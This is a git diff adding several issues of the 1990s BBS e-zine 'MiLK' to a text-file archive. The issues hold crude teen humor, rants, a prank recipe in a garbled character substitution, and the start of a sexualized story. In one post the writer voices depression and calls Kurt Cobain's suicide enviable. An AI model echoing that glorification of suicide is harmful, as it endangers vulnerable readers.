this day, and Jesus, don't I hate it here. Every now + and then I hear someone yell "hrrmph, look at all this shit floating in + the river," and I just want to say, "well then SAVE ME, I KNOW there's + shit all over the river," but of course I have no vocal cords--probably + because even GOD discriminates against useless things. + + Anyway, the point is, I want restitution for the emotional damages + caused me by my shocking experiences with utilitarian discrimination. + Hey, if you're good looking, remember, I too was once wanted, so I'm + not some pathetic welfare recipient asking for dough; if you're not + good looking, heck, join forces with me and ASK FOR YOUR AMERICAN + RIGHTS under our fucked-up Constitution. + + HRRRMPH FOR PRESIDENT '96 + (Democrat) + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³³ Vote for me, + ³ ³ S N A P P L E ³ ³³ I can relate with + ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³³ all your shit + ³ Kiwi-Strawberry Cocktail ³³/ + ³ ³³ o + ³ ³³ o + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÙ o + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û Barney's Pleasure Palace...(708)965-3098 [14,400] +Û²²²²²²²²²²²Û The Acropolis..............(708)557-2826 [14,400] +Û²²²²²²²²²²²Û Mech World.................(708)757-0116 [14,400] +Û²²²²²²²²²²²Û The Lunatic Phringe........(708)232-0565 [12 Nodes] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û File Number 28, "People Are Shitheads" By Yohan Bawk +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is exactly 6733 bytes long + diff --git a/textfiles.com/magazines/MILK/milk-029.txt b/textfiles.com/magazines/MILK/milk-029.txt new file mode 100644 index 00000000..daa446cc --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-029.txt @@ -0,0 +1,63 @@ + °°°± °°°± °± + °°°°°°°°°°°°°°°°°°± °°± °± °°± + °°°°°°°°°°°°°°°°°°°°°°± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °°°± °°± °°°± °°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °± °°± °°°°°°°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°°± [MiLK] + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°± Ÿœä #29 +°°°°°°°°± °°°°°°°°± °°°°°°°°± °± °± °°°°°°± +°°°°°°°°± °°°°°°± °°°°°°°°± °°°± °°°°°°°± °°°°°°°°± + °°°°°°± °°°°°°± °°°± °°°°°°°± °°°± °°°± "Anarchy! " + °°± °°± °°°± °°°± °°°± -By James Hetfield + °°°± °°°± °°°± + °± °± °°± + + ™|<, |>™™|>S, |-|’Vä |>ä›|>ä|> ç™ áäSç™\/\/ |\/| \/\/S|>™|\/| +šp™¥ ™š ’¥|> çä’›|-| ™š |-|™\/\/ ç™ |\/|’|<ä ç|-|ä šœç|\/|’çä ’¥’â›|-|Sç +\/\/ä’p™¥: ç|-|ä |\/|œ|< á™|\/|á! \/\/’⥥G: |>™¥'ç šSä ç|-|S š¥œäSS ™š +âä’œœ \/\/’¥ç ç™ Gäç á’›|< ç|-|ä päâS™¥ ™š'âä G™¥G ç™ šSä ç ™¥! + +|\/|œ|< á™|\/|á: +----------------- + +1 1/2 P¥ç ›’â癥 ™Ÿ |\/|œ|< +1 ’â|\/|, pâäŸäâ’ᜠç|-|ä ç|-|â™\/\/¥G ’â|\/| +1 ç’âGäç + + ™|<, |>™™|>S, ’œœ ™š |-|’Vä ç™ |>™ S ç’|<ä ™¥ä ™Ÿ ™šâ +›™|\/||\/|™¥ |-|™šSä|-|™œ|> |\/|œ|< ›’â癥S, |-|’Vä Ÿ™š¥|> Ÿâ™|\/| +äxpäâ䥛ä ç|-|’ç ç|-|ä |\/|™âä Gä¥äâ› Ÿ™â|\/|S ™Ÿ |\/|œ|< ›’â癥S \/\/™â|< +ç|-|ä áäSç, áä›’šSä ç|-|äâ ›’â癥 ášâSçS ä’Säâ! ™|<’, S™ ™š ç’|<ä ç|-|S +|\/|œ|< ›’â癥, ’¥|> ™š ç’|<ä ™šâ |-|’¥|>, ’¥|> ™š pšç ç|-|ä |\/|œ|< +›’â癥 ¥ç™ ™šâ |-|’¥|>! ç|-|ä¥, ™š ç’|<ä ™šâ |-|’¥|>, ’â|\/|ä|> \/\/ç|-| +ç|-|ä |\/|œ|< ›’â癥, ’¥|> Ÿ¥|> ç|-|’ç ç’âGäç. ’¥|> ç|-|ä¥, ç|-|â™\/\/ ç +’ç ç|-|ä ç’âGäç! á’ââäœS ™Ÿ œ’šG|-|S \/\/|-|ä¥ ™šâ ç’âGäç S ›™Väâä|> ¥ +’ \/\/|-|çä, G™™ä |\/|äSS! + |\/|œ|< á™|\/|áS ’âä áäSç \/\/|-|ä¥ ™š šSä ’ ’œâä’|> \/\/’â¥, +Sçç¥G ™šç Ÿ™â ’ \/\/ää|< |\/|œ|< ›’â癥, ášç ç|-|ä S眜 ’âä +䟟ä›çVä Ÿ âG|-|ç ™šç ™Ÿ ç|-|ä Ÿâ|>Gä! ¥™\/\/, ç|-|S \/\/ä’p™¥ S +|\/|™Sç 䟟ä›çVä \/\/|-|ä¥ ™š šSä ç ç|-|ä ŸâSç ç|\/|ä, áä›’šSä ç|-|ä +ç’âGäç \/\/™¥'ç áä äxpä›ç¥G ç! ášç \/\/’ç›|-| ™šç, ¥äxç ç|\/|ä ç|-|ä +ç’âGäç |\/|G|-|ç |-|’Vä ç|-|äâ ™\/\/¥ |\/|œ|< á™|\/|áS! S™ šSä ’ç ™šâ +™\/\/¥ âS| |\/|œ|< á™|\/|áS |\/|’¥ ç|\/|äS ’¥|> |-|’Vä Ÿ™š¥|> ’ +\/\/|>ä V’âäç ™Ÿ šSäS Ÿ™â ç|-|ä|\/|! çä’›|-|äâS, Ÿ™™çá’œœ ›™’›|-|äS, +á’|> ’›ç™âS, S䛚âç ™ŸŸ›äâS, p’âä¥çS, ášœœäS, ’¥™¥ä S +ä’Sœ |>äŸä’çä|> \/\/ç|-| ’ |\/|œ|< á™|\/|á! + ¥™\/\/ ™¥›ä ’G’¥ \/\/’⥠™š ’ᙚç ç|-|ä p™ç䥛 ™¥ ç|-|ä +|\/|œ|< á™|\/|á... šSä ’ç ™šâ ™\/\/¥ âS|" By James Hetfield +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is exactly 3243 bytes long + diff --git a/textfiles.com/magazines/MILK/milk-030.txt b/textfiles.com/magazines/MILK/milk-030.txt new file mode 100644 index 00000000..833aa584 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-030.txt @@ -0,0 +1,92 @@ + °°°± °°°± °± + °°°°°°°°°°°°°°°°°°± °°± °± °°± + °°°°°°°°°°°°°°°°°°°°°°± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °°°± °°± °°°± °°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °± °°± °°°°°°°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°°± [MiLK] + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°± File #30 +°°°°°°°°± °°°°°°°°± °°°°°°°°± °± °± °°°°°°± +°°°°°°°°± °°°°°°± °°°°°°°°± °°°± °°°°°°°± °°°°°°°°± + °°°°°°± °°°°°°± °°°± °°°°°°°± °°°± °°°± + °°± °°± °°°± °°°± °°°± + °°°± °°°± °°°± + °± °± °°± + + Easy Ways To Shock Your Parents + =============================== + By Biff Thelmus Bonglemeister III (not responsible) + + Imagine that after a hard day of school your parents tell you to mow + the lawn, now you are pissed off and tired and want to go to sleep, + smoke some pot, and go to your girlfriend's/boyfriend's house and get + laid, well the easiest way is to shock your parents to death. + + (1) Easy Shock Treatment + You come home from school and proudly announce to your parents that you + are flunking every class in school. If this does not shock them, or is + not sufficient to induce cardiac arrest, continue to step (2). + + (2) Easy to Moderate Shock Treatment + Now inform your parents that due to your bad grades, and the fact that + your teachers are all bitches/assholes, you have decided to drop out of + school and go to work. If this is not enough, continue to (3). + + (3) Moderate Shock Treatment + Now tell your loving mum and pop that you are going to work as a paid + prostitute on Rush St. and that your pimp is your former history + teacher. If this is still not enough, continue to (4). + + (4) Moderate to Sharp Shock Treatment + Your next step is to tell your parents that since male prostitutes make + no money, you are going to be a transvestite prostitute (if you are + female, skip to (5)). Continue to (5) unless they drop dead. + + (5) Sharp Shock Treatment + Tell your parents that (a)(for guys) you got your English teacher + pregnant, or (b)(for girls) you yourself are pregnant, with your + English teacher's baby. The sex of the English teacher is irrelevant. + + (6) Extreme Shock Treatment + Tell your parents that just yesterday, you celebrated your new baby by + having hot sex with this English teacher, on stage during a school + assembly. + + (7) Sadistic Shock Treatment + Inform your catatonic parents that you still have a dildo stuck up your + ass from this experience. For some parents, you may have to first + explain just what the heck a dildo is. + + (8) I-Wouldn't-Do-This-To-Rush-Limbaugh Shock Treatment + For an encore, tell your parents that you are taking the car to go get + your double operation now (double, one for the sex change, another to + get that damned dildo out). + + (9) I-Wouldn't-Do-This-To-Rush-Limbaugh's-Dog Shock Treatment + Now add a part about how you totaled the car by running over a few cops + and that they will be over in the morning to arrest them, as your + parents are still responsible for your actions. + + (10) More-Sadomasichistic-Than-Tori-Amos Shock Treatment + The way to end this all is to then tell your parents that you caught + AIDS from your English teacher, who was the guy who caught AIDS in the + first place by porking a monkey. If that one doesn't get them, nothing + will... + + P.S. Keep in mind none of these will work if you are a bad actor... + P.P.S. If you have skeptical parents or parents unfamiliar with + concepts herein, perhaps the foul language will kill them. + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û Barney's Pleasure Palace...(708)965-3098 [14,400] +Û²²²²²²²²²²²Û The Acropolis..............(708)557-2826 [14,400] +Û²²²²²²²²²²²Û The Lunatic Phringe........(708)232-0565 [12 Nodes] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û File Number 30, "Easy Ways To Shock Your Parents" By Yohan Bawk +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is Exactly 4456 bytes long + diff --git a/textfiles.com/magazines/MILK/milk-031.txt b/textfiles.com/magazines/MILK/milk-031.txt new file mode 100644 index 00000000..901851ab --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-031.txt @@ -0,0 +1,93 @@ + °°°± °°°± °± + °°°°°°°°°°°°°°°°°°± °°± °± °°± + °°°°°°°°°°°°°°°°°°°°°°± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °°°± °°± °°°± °°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °± °°± °°°°°°°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°°± [MiLK] + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°± File #31 +°°°°°°°°± °°°°°°°°± °°°°°°°°± °± °± °°°°°°± +°°°°°°°°± °°°°°°± °°°°°°°°± °°°± °°°°°°°± °°°°°°°°± "50 Ways to say FART" + °°°°°°± °°°°°°± °°°± °°°°°°°± °°°± °°°± -By álack õust¡ce + °°± °°± °°°± °°°± °°°± + °°°± °°°± °°°± + °± °± °°± + + 50 Ways to Say FART! + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ- + + Ok well I'm back again after programing that crap [MiLK] BBS. An +upgrade for that should be out soon! Well Since [MiLK] didn't have any lists +of junk like BLaH did, here is the first one. It kinda sucks but what the +heck, it's a list. + Dedicated to my wrestling teacher, Mr. West. + + 1. Who cut the cheese? + 2. Who beefed? + 3. Who let one fly? + 4. Floated an air-biscuit + 5. Rattle the Rose-Bushes + 6. Rattle the Rafters + 7. Spring Air + 8. Stinky Cheese + 9. Rotten Eggs + 10. Stink Bombs + 11. Silent but Deadly + 12. Bon-Goo (Korean) + 13. Your anus smells bad + 14. Something smells fishy + 15. Wet Butt + 16. What's that smell? + 17. Stop moving your butt cheeks + 18. Widen the Butt + 19. One-Cheek-Sneak + 20. Passed Gas + 21. Helluva Smell + 22. Took a Dry Dump + 23. Loosened the old Spinkter + 24. My, you smell like crap + 25. Who dropped the bomb? + 26. + 27. Undie Grundie + 28. Poof! + 29. I can't hold it much longer! + 30. Butt Crack just got wider + 31. Wide Load + 32. Door knob + 33. Shake, Rattle & Roll + 34. artfa (Pig Latin) + 35. Buttafucco! + 36. Grumble, Grumble + 37. Honk + 38. Fun in the Undies + 39. Close your legs + 40. Cow Dung + 41. art without the "F" + 42. Snicker + 43. Pants Knockers! + 44. Fubacca + 45. !@#$%Q$%#@$%^ + 46. Grin :-) + 47. Sneek-a-peek + 48. Opened the Buttocks + 49. Sweatin in the Butt Crack + 50. Rattle, Rattle, Thunder Craddle, Boom, Boom, Boom + + Well that is about it for this issue. As you can tell, I ran out of +words after about #25. Hope you liked it! + + ÚÄú¿ Ä[ÄMÄiÄLÄKÄ]Ä ÚúÄ¿ + ³ ÀÄ úúú ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ úúú ÄÙ ³ + ú ÄÄ:ÄÄÄÄÄ : ÄÄÄÄÄÄÄÄÄiNFORMATIONÄÄÄÄÄÄÄÄÄ : ÄÄÄÄÄ:ÄÄ ú + ³ ú ³ [MiLK] SiTES: ³ . ³ + ³ ú ³ ³ ú ³ + ÀÄÄ ú ÄÄÄÄ ú Ä¿ Barney's Pleasure PalaceÚÄ ú ÄÄÄÄ ú ÄÄÙ + ú ³ ³ 7o8-965-3098 ³ ³ ú + : ³ ³ The Lunatic Phringe ³ ³ : + | ³ : 7o8-557-2826 : ³ | + ³ ³ ú The Acropolis ú ³ ³ + ÀÄÄÄÄÄÄÙúÄ¿ 7o8-232-o565 ÚÄúÀÄÄÄÄÄÄÙ + ÀÄÄ ú ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ú ÄÄÙ áõ + + File Number 31, "50 Ways to say Fart" By álack õust¡ce + This file is Exactly 3881 bytes long diff --git a/textfiles.com/magazines/MILK/milk-032.txt b/textfiles.com/magazines/MILK/milk-032.txt new file mode 100644 index 00000000..c8170efa --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-032.txt @@ -0,0 +1,91 @@ + °°°± °°°± °± + °°°°°°°°°°°°°°°°°°± °°± °± °°± + °°°°°°°°°°°°°°°°°°°°°°± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °°°± °°± °°°± °°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °± °°± °°°°°°°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°°± [MiLK] + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°± File #32 +°°°°°°°°± °°°°°°°°± °°°°°°°°± °± °± °°°°°°± +°°°°°°°°± °°°°°°± °°°°°°°°± °°°± °°°°°°°± °°°°°°°°± + °°°°°°± °°°°°°± °°°± °°°°°°°± °°°± °°°± + °°± °°± °°°± °°°± °°°± + °°°± °°°± °°°± + °± °± °°± + + ÚÄÄÄÄÄÄÄ¿ + Let's Talk About ³ SùEùX ³ + ÀÄÄÄÄÄÄÄÙ + + By Somebody Who Knows Absolutely Nothing + Whatsoever About the Entire Matter + (e.g. Biff Thelmus Bonglemeister III) + + The next time somebody asks you what the meaning of life is, there is a + great easy answer. No, it's not a pansy answer like the standard + Christian fundamentalist answer of "we all have the God-given holy + blah blah responsibility blah blah purpose blah blah evangelize the + world blah blah" bullshit. It's not a retarded liberal "we have to + clean the environment" crap, it's not any sissy "fulfilling our divine + purpose" shit or even crazy drugged-out "following the decrees of the + stars" stuff. + + Instead, the answer is simple: Human beings exist to reproduce. Boy, + that doesn't sound very exciting, does it? Of course, there are other + compensations like computer games, eating steak, drinking and driving, + reading moronic text files, killing lampreys, etc. etc. but let's face + it, the sole purpose of human existence is to put another generation of + human beans on earth to suffer through the same experience. Of course, + as you have probably learned in fifth grade, or from some dirty + magazine your parents showed you a long time ago, there is always sex. + + Now, sex is a weird thing. Everyone thinks sex is great, and everyone + wants to have it, but what's the thing about sex everyone wants? Well, + the orgasm. And so we go through life playing the demented moves of + the dating game, the courtship game, and finally, foreplay and all that + stuff (I hope you know what that entails, unless you are under 10 years + old, in which case, what the heck are you doing reading this text + file?), and all for a few seconds worth of pleasure. + + Frederic Pohl had an interesting comparison. In one of his books, a + character relates how difficult it is to explain sex to alien races. + They think it's like sneezing. You don't want to do it all the time, + and you don't talk about that kind of thing in pleasant company, but + sometimes, your body tells you you have to do it, and if you don't do + it you're really uncomfortable, and finally it happens and afterwards + you feel a lot better. + + Good comparison, eh? But hey, nobody WANTS to sneeze unless they're + sick. So if sex is like sneezing, does that mean the entire human race + is sick? Can we be cured? Maybe when people get older, they become + less susceptible to the sex sickness. That's my personal theory, + because geez, even thinking about trying to imagine thinking about + coming close to visualizing the thought of the attempt to imagine old + geezers going at it makes me retch. In fact, as I write this smut, I'm + retching onto my keyboard. . Yeech. + + I mean hey, try it next time you're stuck with a big group of old + geezers, or even people who are just barely over the hill (e.g. from 25 + and up). Good places to do this are at PTA meetings or at church. See + the couples sitting together with their kids, they must have had sex a + few times at least. Can you imagine it, though? Ewwwwww. I bet you + can't. Isn't that disgusting? But I bet they didn't think so at the + time. + + Yup, that's right, sex is disgusting and immoral. Tune in next time + for the next issue of PTL weekly, right here, same MiLK-time, same + MiLK-channel. BLa--I mean, MiLK. Oh fuck it, whatever. + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û Barney's Pleasure Palace...(708)965-3098 [14,400] +Û²²²²²²²²²²²Û The Acropolis..............(708)557-2826 [14,400] +Û²²²²²²²²²²²Û The Lunatic Phringe........(708)232-0565 [12 Nodes] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û File Number 32 By Yohan Bawk +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is Exactly 4960 bytes long + diff --git a/textfiles.com/magazines/MILK/milk-033.txt b/textfiles.com/magazines/MILK/milk-033.txt new file mode 100644 index 00000000..b2815d3d --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-033.txt @@ -0,0 +1,71 @@ + °°°± °°°± °± + °°°°°°°°°°°°°°°°°°± °°± °± °°± + °°°°°°°°°°°°°°°°°°°°°°± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °°°± °°± °°°± °°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °± °°± °°°°°°°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°°± [MiLK] + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°± File #33 +°°°°°°°°± °°°°°°°°± °°°°°°°°± °± °± °°°°°°± +°°°°°°°°± °°°°°°± °°°°°°°°± °°°± °°°°°°°± °°°°°°°°± + °°°°°°± °°°°°°± °°°± °°°°°°°± °°°± °°°± "A Welcome or + °°± °°± °°°± °°°± °°°± Something" + °°°± °°°± °°°± -By IceMECH + °± °± °°± + + + Well, whats up all you crazy people? I'm not doing much except +thinking about death of people, and what it may be like to be dead or die, +and even what people would think and say if I died. I'm also here to say +"HI!" This is my first MiLK entery into the MiLK hall of. . . +. . .Well what ever. If you see me type something "unMiLK" style, please +let me know politly (or rudly if you so desire). As you can mostlikly tell, +my writing is somewhat humorus and maybe even somewhat depressing +(with lots of miss spelled words). + + I used to run (or rather operate) Mech World (it's down now for +those of you who didn't know, or are too dense). I have no decided to +be a MiLK courier, but that's not enough work for me to do either, I +also like to write and have time now (a little anyways) to write some +stuff to who ever wants to read it. As some of you already know, I'm +starting (or trying to) a business, it's called Silicon City Computer +Services and the # (no, this is not an add) is 708-757-0116 if any of you +care about me or anything else (I don't). + + I'll try to be more exciting in other writings (if thats what you +really wannt call them) if this one is dull to you (I'm haveing fun). +(sibiliminal Messages are cool, so are spelling mistakes) + + I'm one of your usual depressed person that hates life and most +everything in it (don't be offended), but I do have a kinda negitave sense +of humor that most people (Especially IceQUEEN) likes. The down side, is +that I insult my self more then other people do (Jex MaNn is catching up). +Kurdt Kobain (or how ever you spell it) is someone I envy, he was famous, +wrote/sung good songs and went out in a most favorible way as far as I'm +concerned. It sounds like fun, I'd try and tell you about it, but if I did +a good job, I'd not be here to tell you (Ok, so i'm rambling on again). +Here's a twist, My favorite(sp) songs are Creep by Radio Head and by Stone +Temple Pilots, Loser by Beck (or Bech, which ever it is), and +Every Generation Has It's Own Desease by. . . +. . .Damn, i don't remember. As long as you guys like my writing I'll stick +around and not do anything that Kurdt did (I may be kidding, but mostlikly +not). Well, I guess thats it for this one, it would be dumb of me to go into +my next one right now, but I already have an idea (wow!) for another +story, actually this one wasn't a story, it was all real. +Well, later guys and gals, oh, strange creatures too! + + -IceMECH + + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û Barney's Pleasure Palace...(708)965-3098 [14,400] +Û²²²²²²²²²²²Û The Acropolis..............(708)557-2826 [14,400] +Û²²²²²²²²²²²Û The Lunatic Phringe........(708)232-0565 [12 Nodes] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û File Number 33 By IceMECH +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is Exactly 3836 bytes long + diff --git a/textfiles.com/magazines/MILK/milk-034.txt b/textfiles.com/magazines/MILK/milk-034.txt new file mode 100644 index 00000000..7a767d2e --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-034.txt @@ -0,0 +1,116 @@ + °°°± °°°± °± + °°°°°°°°°°°°°°°°°°± °°± °± °°± + °°°°°°°°°°°°°°°°°°°°°°± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °± °°± °°°± °°°± + °°°°°°°°± °°°°± °°°°°°°°± °°°± °°± °°°± °°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °± °°± °°°°°°°°± + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°°± [MiLK] + °°°°°°°°± °°°°°°± °°°°°°°°± °°± °°°°°± File #34 +°°°°°°°°± °°°°°°°°± °°°°°°°°± °± °± °°°°°°± +°°°°°°°°± °°°°°°± °°°°°°°°± °°°± °°°°°°°± °°°°°°°°± + °°°°°°± °°°°°°± °°°± °°°°°°°± °°°± °°°± + °°± °°± °°°± °°°± °°°± + °°°± °°°± °°°± + °± °± °°± + + Keeping Things in Their Proper + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + °°°°°° °°°°°° °°°°°° °°°°°° °°°°°° °°°°°° °°°°° °°°°°° °° °° °° °°°°°° + ±± ±± ±± ±± ±± ±± ±± ±± ±± ±± ±± ±± ±± ±± ±± + ²²²²²² ²²²²²² ²²²²²² ²²²²²² ²²²²²² ²²²²²² ²² ²² ²² ²² ²² ²²²²²² + ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÜÜÛÛ ÛÛ + ÛÛ ÛÛÛÛÛÛ ÛÛ ÛÛÛ ÛÛÛÛÛÛ ÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛ ÛÛ ÛÛ ßÛÛÛÛß ÛÛÛÛÛÛ + ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + By Biff Thelmus Bonglemeister III + + + Nowadays, everyone seems to be grasping for an idol of some sort, some + role model, some person or persona to look up to, admire, emulate, and + otherwise worship. Wherever this stems from (and psychiatrists assert + many different reasons, like bad parenting, insecurity with self-image + or self-esteem, etc., but psychiatrists are full of shit, some of them + also think it is caused by sucking pacifier tits.), it is undeniably a + very important part of human society today. + + Some people choose sports superstars. Most sports players flunk + college but pass on a sports clause, and would probably be flipping + patties in McDonald's if it were not for America's passion for watching + postadolescent men in skimpy clothing engaging in various strenuous + activities. An obvious example is the highly exalted Michael Jordan, + erstwhile basketball superstar (now a stupid loser baseball player). + Other less tasteful people might choose Shaquille O'Neal or even + Charles Barkley as their idol. More grandiose idols would be Olympic + stars--Jackey Joiner J-whatever Whatsername, for example, or Greg "Next + Time Watch Me Break My Neck" Louganis, or even that psychobitch, Tonya + Harding. + + Some people choose movie stars. Despite the fact that they fight, + bitch about insignificant and petty little disturbances, marry and + divorce as often as most people take pisses, disclose or make up their + innermost secrets to Life magazine, and are purely incapable of talking + in complete sentences, movie stars are highly admired. Some people + chose such stars as Kevin Kostner (always popular), Tom Cruise (also + always popular), Emma Thompson (excellent actress), or Patrick Stewart + (the living phallic symbol). + + Some people choose rock stars. Rock stars are uniformly morons, all of + them freaks. Many choose to end their lives with a sniff, some with a + bang, and some, in the bathroom by their toilets, mooning the world. + Never mind that rock stars dress in fishnet stockings, let their + tongues hang down to the floor, play music one wouldn't play for the + moose, and yet tell us what they think about how the environment is in + mortal danger, and that we should vote for Al Gore and his pansy inner + child in the next election. Rock stars, Pearl Jam freaks, this weird + hairy guy on Meatloaf, Metallica devotees, etc. etc. are "cool." Some + people even consider Michael Jackson cool. + + Anyway, idolizing people is great up to a point. When one begins hero + worship the advantages of having a role model break down. So here I + recommend the very easiest ways of cutting someone's image down to + size. + + + (1) The "I Am Naked" Idea. + + The next time you see an idol on stage or on television (even on + eMpTy-V), imagine that person butt naked. Even if they are the + same sex as you are. If they are the same sex as you are, they + will instantly turn disgusting. If they are of a different sex, + and are too old/young/ugly, then they will again instantly turn + disgusting. If the star does not turn ugly and disgusting in your + sight (i.e. they are of the opposite sex and hot or you are gay or + desperate), proceed to (2). + + (2) The "I Am A Moron" Idea. + + Now imagine the star at school, in a remedial reading course, + trying to pick his/her way through a "Dickwad and Jane" reader. + Boy, this one makes them seem stupid and laughable. If you are + into dumb people anyway, maybe you are one, proceed to (3). + + (3) The "I Am Constipated" Idea. + + This one never fails. Remember: EVERY SINGLE STAR, EVERY SINGLE + IDOL, EVERY SINGLE ROLE MODEL OR POWERMONGER--ALL OF THEM, AT ONE + TIME OR ANOTHER IN THEIR LIFE, HAVE TO GRUNT AND GROAN WHILE + SITTING ON THE CAN. This is a great way to keep things in proper + perspective. Whenever some great politician stands up to make a + speech, I instantly picture this old geezer butt naked on the + toilet, constipated, grunting and groaning in agony while waves of + stink pass through the air. + Yeech. Instantly, whatever appeal they might have had disappears. + + Have a nice day! + +Û Û [MiLK] Information +Û Û +Û Û [MiLK] Sites: +Û Û +Û Û Barney's Pleasure Palace...(708)965-3098 [14,400] +Û²²²²²²²²²²²Û The Acropolis..............(708)557-2826 [14,400] +Û²²²²²²²²²²²Û The Lunatic Phringe........(708)232-0565 [12 Nodes] +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û +Û²²²²²²²²²²²Û File Number 34 By Yohan Bawk +ÛÛÛÛÛÛÛÛÛÛÛÛÛ This file is Exactly 6293 bytes long + diff --git a/textfiles.com/magazines/MILK/milk-035.txt b/textfiles.com/magazines/MILK/milk-035.txt new file mode 100644 index 00000000..18e01865 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-035.txt @@ -0,0 +1,340 @@ +ÛÛÛÛÛ ß ß ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÝ +Û ² ² Ý +Û ²² ²² Mighty Illicit Liquid Kollections Ý +Û ² ² ² ² ² Ý +ÛÛÛÛÛ ² ² ² ² ² Ý + ² ² ² ² ² ² ÛÛÛÛÛ File #035: "The Feeding" Ý + ² ² ²² Û Ý + ²²²²² ² ² Û -By James Hetfield Ý + ² ² Û Ý + ÛÛÛÛÛ Ý + + + John was a lonely little boy. He sat around at night in the park +by his house wondering what it would really be like to have a girl of his +very own. His very own girlfriend. He had always had problems talking to +females, he always would stare at their breasts. They usually would notice +this fact, girls having instinct to wonder about a guy that looks at them +right below eye level, and not take him seriously. Also, John wasn't that +much of a looker, so not having physical or social skills, John was basically +left out of the high school dating scene. Little did John know, however, +that this night would change his life forever. + + John was sitting on the park bench, watching the moon and the stars +begin to shine out from under a cloud covering. His mind began to wander, +questioning the fact of whether or not he would ever get laid in his lifetime. +A cold hand gripped his shoulder, making him jump a foot into the air. He +found himself looking into the eyes of one of the most erotic women he had +ever laid eyes on. In the pale moonlight, he could barely make out her facial +features, which he found no flaws in whatsoever. Her dark brown hair was +being thrown around by the wind. Her lips were just slightly open, as if +anticipating speaking. + + "Hello", she said in a low, sultry voice, "I'm sorry if I startled +you." + + John backed up to take in her form a little more closely. She had a +trim figure, and was wearing a jacket that clung quite tightly to her waist. +Her jeans were skin tight, leaving nothing to the imagination about her long +legs and curvacious thighs. She wore black army boots. He glanced back +upward to take her breasts into full view. Even under the jacket covering, +she seemed quite perky. Her breasts stood out so strongly John wondered what +kind of bra she was wearing, purhaps a padded. Yes, John assured himself, +she must be wearing padding. Nothing this good looking can actually exist. + + "Are you all right?" The woman questioned, as would most people +question after a male stares at you 